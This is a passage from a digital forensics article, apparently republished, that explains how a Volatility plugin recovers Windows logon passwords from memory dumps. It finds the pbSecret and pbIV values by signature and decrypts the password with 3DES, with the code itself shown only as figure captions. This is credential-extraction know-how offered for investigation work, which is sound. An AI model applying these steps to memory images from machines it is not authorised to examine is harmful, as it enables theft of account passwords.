The pbSecret actually plays the key role during the process of decryption. You need to find pbSecret space with specific signature called “KSSM”, because the method you used in decompiling cannot be applied to find relevant value. The pbSecret has the length value of character string 16 byte after KSSM signature, and there exists a value of pbSecret right after it. [Figure 29] shows the routine of extracting the pbSecret.
 Routine that extract the pbSecret
Figure 29 Routine that extract the pbSecret

5.5. Extracting the value of pbIV
You have to find the pbIV value through a specific signature as well as pbSecret. “DebugFlags” is recommended signature, and there is a value of 0×00 (NULL) between signature and pbIV value. The size information of pbIV is not saved, but you can extract the size of 16 byte or the value from relevant value to 0×00 (NULL). [Figure 30] shows the routine of extracting the pbIV.
Routine that extract the pbIV
Figure 30 Routine that extract the pbIV
.
5.6. Decrypting the password
When decrypting the password, you can use the Crypto function provided by Python. Initial vector (pbIV), key (pbSecret), and encrypted password are necessary. When the decryption using the 3DES algorithm is done, it deletes the dumps and every image files already used. [Figure 31] shows the routine of password decryption.
Decryption Routine
Figure 31 Decryption Routine

5.7. Plugin Result
[Figure 32] shows the result of executed relevant plugin.
The result of executed plugin
Figure 32 The result of executed plugin

You can download the plugin from the following address.
https://gitlab.kr/For-MD/volatility-plugin-logon/blob/master/logon.py

6. Conclusion
First of all, we will keep upgrading this tool and show you a new method according to the computing environment which is changing. The environment which uses 32 bit system is now turning into an environment which uses 64 bit system, and the application range of this plugin is 50:50. Therefore we will apply the method of extracting the Windows account information in 64 bit system, and also add a new function to extract the account information from various authentication packages to broaden the application range of plugin. Finally, it is a big question for us how to extract the authentication session, the Windows account information when authenticating the domain, and multiple users within the memory considering the Active Directory environment.
In this article, we covered how to extract the information of Windows account from memory image in the view of digital forensics. In terms of digital forensics, the former way using dll injection is not appropriate, because it is against the integrity of memory. However, by the method we introduced in this article, you can extract the information of Windows account only by using the memory image on offline. Therefore we presume that it can be helpfully used in the field of investigation or security incidents.

[1] Mimikatz : http://blog.gentilkiwi.com/mimikatz

[2] http://msdn.microsoft.com/en-us/library/windows/desktop/ff714510(v=vs.85).aspx

Fuente: http://articles.forensicfocus.com/2014/04/28/windows-logon-password-get-windows-logon-password-using-wdigest-in-memory-dump/
Powered by Bad Robot
Helped by Blackubay